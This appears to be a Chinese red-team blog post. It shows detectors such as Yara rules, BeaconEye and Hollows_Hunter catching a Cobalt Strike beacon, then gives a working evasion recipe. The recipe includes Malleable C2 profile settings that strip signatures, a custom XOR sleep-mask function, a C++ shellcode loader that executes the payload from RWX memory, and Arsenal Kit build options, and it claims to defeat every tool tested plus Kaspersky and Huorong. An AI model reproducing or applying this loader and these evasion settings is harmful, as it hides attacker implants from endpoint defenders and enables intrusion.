CobaltStrike的狩猎与反狩猎

admin 2024年6月8日21:03:58评论12 views字数 6674阅读22分14秒阅读模式

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦

原文首发在:先知社区

https://xz.aliyun.com/t/14798

0x01 前言

又到了xxx的时间了,在对红队基础设施的准备时写下的这篇文章

0x02 开始狩猎

CobaltStrike版本:4.9.1

不做任何配置启动teamserver

CobaltStrike的狩猎与反狩猎

使用默认配置的生成x64位beacon,上线pid为3040

CobaltStrike的狩猎与反狩猎

0x021 BeaconEye

BeaconEye 的核心原理是通过扫描CobaltStrike中的内存特征,并进行Beacon Config扫描解析出对应的Beacon信息

BeaconEye是基于.NETFramework 4.8框架开发的,至少需要.net4.0以上,为了解决真实环境下低版本服务器没有.net4.0以上的环境,可以使用EvilEye替代BeaconEye,EvilEye是Golang版本的BeaconEye

我目前使用的测试环境为Windows Server 2008,所以直接使用EvilEye进行检测,可以看到能直接从内存中提取出Beacon的信息

CobaltStrike的狩猎与反狩猎

0x022 Hunt-Sleeping-Beacons

Hunt-Sleeping-Beacons项目的主要功能是帮助广大研究人员在运行时或其他正在运行进程的上下文场景中识别休眠的Beacon

可以看到Hunt-Sleeping-Beacons可以检测出异常的进程,但是我在实际测试中发现无法对x86进程进行检测

CobaltStrike的狩猎与反狩猎

0x023 Yara

Yara是一个旨在(但不限于)帮助恶意软件研究人员识别和分类恶意软件样本工具

Elastic安全公司开源检测CobaltStrike的yara规则

Google GCTI开源检测CobaltStrike的yara规则

使用Elastic的yara规则检测beacon,可以看到命中了6条规则

CobaltStrike的狩猎与反狩猎

使用-s参数打印出匹配的字符串

CobaltStrike的狩猎与反狩猎

0x024 Hollows_Hunter

hollows_hunter用于扫描所有正在运行的进程,识别各种潜在的恶意植入物,如替换/植入的PE、shellcode、挂钩(hook)以及内存中的修补程序等

顺带提一嘴,Hollows_Hunter的作者Aleksandra Doniec在我看来是一位顶尖的安全研究员,开源了pe_to_shellcode、process_overwriting等优秀的作品,真正左右手互博

通过hollows_hunter可以很轻松的检测到一些异常的进程

CobaltStrike的狩猎与反狩猎

0x03 反狩猎

针对以上问题,CobaltStrike官方在博客中提供了一些解决方法

0x031 Yara bypass

0x0311 字符串处理

可以看到Windows_Trojan_CobaltStrike_ee756db7匹配了很多字符串,我决定先看看这些字符串都是从哪里来的。

CobaltStrike的狩猎与反狩猎

CobaltStrike在4.x之后,会把资源文件加密存放到cobaltstrike-client端的sleeve目录中,需要使用CrackSleeve对资源文件进行解密

CobaltStrike4.9.1的key如下,需要自行替换一下

private static byte[] OriginKey = {-1, 12, -6, 65, 7, -47, 91, 48, 17, 61, 29, 43, -99, -23, 21, 109};
private static byte[] CustomizeKey = {-1, 12, -6, 65, 7, -47, 91, 48, 17, 61, 29, 43, -99, -23, 21, 109};

对cobaltstrike-client及解密的Resource进行搜索,最后在default.profile发现了结果,而且与Windows_Trojan_CobaltStrike_ee756db7匹配的规则一致

CobaltStrike的狩猎与反狩猎

把他复制出来,并删除stage里面内容作为Malleable-C2来使用,重新启动server,生成beacon上线

CobaltStrike的狩猎与反狩猎

再次使用yara检测发现字符串匹配特征已经少了很多,但是还有一些存在

CobaltStrike的狩猎与反狩猎

既然profile中的特征已经去除了,那么剩余的规则要么在原始beacon.dll中存在,要么就是生成的exe时出现的特征,先看看原始beacon.dll吧,使用yara单独对文件进行检测,可以明显的看到,确实是在原始beacon.dll中存在的特征

CobaltStrike的狩猎与反狩猎

针对这种情况,CobaltStrike提供了可以从profile中使用strrep来替换指定的字符串,把其中的一个特征替换为空

transform-x64 {
strrep "beacon.x64.dll" "";
}

CobaltStrike的狩猎与反狩猎

再次生成beacon,运行发现ee756db7规则直接就消失了

CobaltStrike的狩猎与反狩猎

???我看了一下Windows_Trojan_CobaltStrike_ee756db7的判定规则,发现该规则需要至少6个命中才会判定

CobaltStrike的狩猎与反狩猎

虽然这种方法简单且有效,但是从实际考虑来说,我们不应该全部都这么做,因为无法确定其他安全公司使用的规则,如果修改了判断规则为3个你只修改其中一个,那肯定是不行的,并且有些格式化字符串也不应该直接修改,否则可能会给程序带来不可意料的结果,如Windows_Trojan_CobaltStrike_3dc22d14中还检测了一些格式化字符串

当然也不是没有解决方法。那就是sleepmask kit套件,后面会详细介绍

0x0312 MZ头/PE头处理

可以看到Windows_Trojan_CobaltStrike_1787eef5的特征为4D 5A,很明显该处检测的是MZ

CobaltStrike的狩猎与反狩猎

可以从内存中看到,确实存在该特征

CobaltStrike的狩猎与反狩猎

针对这种情况,CobaltStrike提供了可以在profile中配置 Stage.magic_mz_*/Stage.magic_pe_*对其进行修改

官方建议:需要注意的是,对于magicmz* 选项,提供的值必须是有效的(无)操作码,因为它们是作为shellcode存根的一部分执行的第一条指令。通常情况下,这将是pop regA,push regA的某种变体,因为后一条指令撤消了第一条指令,但请参阅此处以获得有关配置此选项的更多指导

修改mz头

set magic_mz_x86 "KC@H"; # ASM = dec ebx, inc ebx,inc eax, dec eax
set magic_mz_x64 "A[AS"; # ASM = pop r11, push r11

修改pe头

set magic_pe "AR"; # 随机的两个值

修改完成后在内存中的效果

CobaltStrike的狩猎与反狩猎

使用yara进行检测的前后对比

CobaltStrike的狩猎与反狩猎

然而,这种修改方式是有限的,因为我们在每种情况下只能修改几个字节,所以显然更健壮的YARA签名仍然会触发

同时官方还提供了一个Stage.stomppe用于轻微混淆内存中的 beacon dll,但是我在测试发现设置stomppe为true时,PE头中的仅仅在特征处增加了一个IMAGE_FILE_RELOCS_STRIPPED

CobaltStrike的狩猎与反狩猎

未设置stomppe时

CobaltStrike的狩猎与反狩猎

从微软的文档来看,我并不能明白这么做有什么好处,感觉很鸡肋,比较了解的师傅们回答我一下

CobaltStrike的狩猎与反狩猎

0x0313 清理反射加载器

当Beacon被反射加载到内存中时,它会导致两个内存分配:原始Beacon DLL(实际上将执行shellcode存根和反射加载器函数)和虚拟Beacon DLL(正确加载到内存中并准备就绪)

在内存中的情况如下,RWX存储器区域对应于虚拟信标DLL,而RX区域则对应于原始信标DLL

CobaltStrike的狩猎与反狩猎

同时原始信标DLL中也存在可疑字符串。这些都可以通过内存中的YARA扫描找到

前面的是原始beacon,后面的是配置strrep "beacon.x64.dll" "";去除字符串后的内存,还应该把ReflectiveLoader这个非常明显的特征给去除掉

CobaltStrike的狩猎与反狩猎

扯远了,回到正题,针对这种情况,CobaltStrike提供了可以在profile中配置Stage.cleanup选项为true,对原始Beacon DLL进行清除,

仅保留虚拟Beacon DLL,一旦启动Beacon,就不再需要原始Beacon DLL了

set cleanup "true";

清理前后的内存对比

CobaltStrike的狩猎与反狩猎

yara检测结果如下,很明显清除原始beacon dll后有些检测已经从2个变成一个了

0x0314 配置混淆

通过配置Stage.obfuscate为true,可以实现反射加载器复制Beacon,而不带它的DLL头,这就意味着在内存中无法再找到反射加载程序存根,而且这个选项还会混淆:

  • .text section

  • Section names

  • Import table

  • Dos/Rich Header (this is technically not masked but overwritten with random data)

大概的示例图如下:

CobaltStrike的狩猎与反狩猎

这项设置可移除Beacon堆中的绝大部分字符串

set obfuscate "true";

后面是配置obfuscate为true的内存,可以看到直接去除掉了dll头部

CobaltStrike的狩猎与反狩猎

yara检测设置obfuscate为true的前后对比

CobaltStrike的狩猎与反狩猎

0x0315 Sleep_Mask

官方解释如下:

CobaltStrike的狩猎与反狩猎

在启用Sleep_Mask之前,先了解一下userwx配置

set userwx "false";

反射加载时是否要把内存设置为可读可写可执行,默认为RWX,设置为false时内存设置为RX

CobaltStrike的狩猎与反狩猎

然后配置启用sleep_mask

set sleep_mask "true";

正如官方所说,确实对字符串进行了加密,但是会多出一条新的规则,很明显sleep_mask默认的规则已经被检测了

CobaltStrike的狩猎与反狩猎

在内存中也确实找到了这个规则

CobaltStrike的狩猎与反狩猎

不是说sleep_mask会屏蔽自己吗?其实这项规则恰恰匹配的就是sleep_mask屏蔽的方法,如下图所示

CobaltStrike的狩猎与反狩猎

使用arsenal-kit的sleepmask进行配置

在common_mask.c中自定义我们的算法

/* My a beacon section
* First call will mask
* Second call will unmask
*/
void my_mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
char key[] = "cf81d743beef8422";
size_t key_lenght = sizeof(key) - 1;
while (a < b) {
*(parms->beacon_ptr + a) ^= key[a % key_lenght];
a++;
}
}

CobaltStrike的狩猎与反狩猎

最后重新构建并重新加载.cna脚本,以使更改生效

CobaltStrike的狩猎与反狩猎

yara检测使用自定义算法的beacon,最后只剩一条特征了

CobaltStrike的狩猎与反狩猎

在内存中默认算法和自定义加密算法的对比

CobaltStrike的狩猎与反狩猎

0x0316 加载器特征去除

0x03161 shellcode loader

最后的这个特征,其实是生成exe时附带的。如果使用shellcode loader进行上线这一个部分就不需要更改了

不过使用shellcode loader要注意需要对存放shellcode的内存进行加密或者清理,非常简单的代码,主要是为了演示

#include<iostream>
#include<windows.h>
#include<fstream>

using namespace std;

int main()
{
// shellcode raw
char filePath[] = "./payload_x64.bin";
ifstream file(filePath, ios::binary | ios::ate);
if (!file) {
return -1;
}
int fileSize = file.tellg();
file.seekg(0, ios::beg);

char* buffer = new char[fileSize];
if (!file.read(buffer, fileSize))
{
return -2;
}
void* exec = VirtualAlloc(0, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, fileSize);

// 对buffer进行加密
string key = "cf81d743beef8422";
for (int i = 0; i < fileSize; i++)
{
buffer[i] = buffer[i] ^ key[i % key.length()];
}

((void(*)())exec)();

return 0;
}

效果如下

CobaltStrike的狩猎与反狩猎

CobaltStrike的狩猎与反狩猎

0x03161 源码修改

当然如果你追求完美,可以接着往下看,不过首先说明,通过套件的方式进行修改的只能在生成exe文件的时候有效,shellcode还是需要使用完成在内存进行加密

首先先定位一下特征,我直接使用ida对该字节码进行搜索

CobaltStrike的狩猎与反狩猎

伪代码看一下,看起来是//./pipe/MSSE-随机整数-server的通道生成

CobaltStrike的狩猎与反狩猎

在CobaltStrike的博客中有提到这个问题,指明了可以通过Artifact Kit中的src-common/bypass-pipe.c进行修改

CobaltStrike的狩猎与反狩猎

当然,如果你不想使用多余的套件,可以自行反编译修改并打包原始beacon.dll进行

我这边就演示在bypass-pipe.c中进行修改,注释部分的是Artifact Kit中默认的,该方法也已经被yara标记了,我做的只是简单的字符串隐藏

CobaltStrike的狩猎与反狩猎

因为使用了arsenal-kit中的artifact-kit和sleepmask-kit,所以直接修改arsenal-kit配置文件生成一个套件即可

修改的位置如下:

  • /arsenal-kit/kits/artifact/build.sh:49-51行,给它注释掉就不会报错了

  • /arsenal-kit/arsenal_kit.config:16行,设置include_sleepmask_kit="true",因为还启用了sleepmask-kit

接下来是Artifact kit options和Sleepmask kit options,根据实际情况修改即可

#### Artifact kit options
artifactkit_technique="pipe"
artifactkit_allocator="HeapAlloc"
artifactkit_stage_size=310272
artifactkit_include_resource="false"
artifactkit_stack_spoof="false"
artifactkit_syscalls_method="indirect"

#### Sleepmask kit options
sleepmask_version="49"
sleepmask_sleep_method="WaitForSingleObject"
sleepmask_mask_text_section="true"
sleepmask_syscalls_method="indirect"

运行/arsenal-kit/build_arsenal_kit.sh生成即可,生成后的路径为/arsenal-kit/dist/

CobaltStrike的狩猎与反狩猎

加载该套件,重新生成beacon,运行上线,使用yara对进程进行检测,可以看到和shellcode loader上线一样是检测不到的

CobaltStrike的狩猎与反狩猎

以上是x64的修改,x86也同样适用,不过x86需要额外修改一下2个位置

  • /arsenal-kit/kits/artifact/src-common/bypass-pipe.c中的DWORD server_thread(LPVOID whatever) 方法

    打乱一下它的结构就行

  • CobaltStrike的狩猎与反狩猎

  • /arsenal-kit/kits/artifact/src-common/patch.c

    也是打乱一下结构

  • CobaltStrike的狩猎与反狩猎

0x04 效果测试

其实到了这一步已经能解决狩猎中的所有检测了

CobaltStrike的狩猎与反狩猎

yara静态检测

CobaltStrike的狩猎与反狩猎

yara内存检测

CobaltStrike的狩猎与反狩猎

BeaconEye/EvilEye

CobaltStrike的狩猎与反狩猎

Hunt-Sleeping-Beacons

CobaltStrike的狩猎与反狩猎

Hollows_Hunter

CobaltStrike的狩猎与反狩猎

配合shellcode loader对抗大部分杀软了

卡巴内存扫描

CobaltStrike的狩猎与反狩猎

火绒

CobaltStrike的狩猎与反狩猎

0x05 结语

到此为止,配合一下自定义的Malleable-C2足以应付大部分红队场景,如果还想进一步,建议配合unhook、堆栈欺骗等技术

嘿嘿,如果你以为这就结束了,那就错了,如果说我针对Artifact Kit套件进行yara打标呢?以下是我找另一位师傅拿的ta自己制作好的免杀马,上面是Elastic的检测,下面是自己针对Artifact Kit套件写的规则

CobaltStrike的狩猎与反狩猎

最后欢迎各位师傅有空可以去我blog踢我一脚

原文始发于微信公众号(亿人安全):CobaltStrike的狩猎与反狩猎

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月8日21:03:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CobaltStrike的狩猎与反狩猎https://cn-sec.com/archives/2826138.html

发表评论

匿名网友 填写信息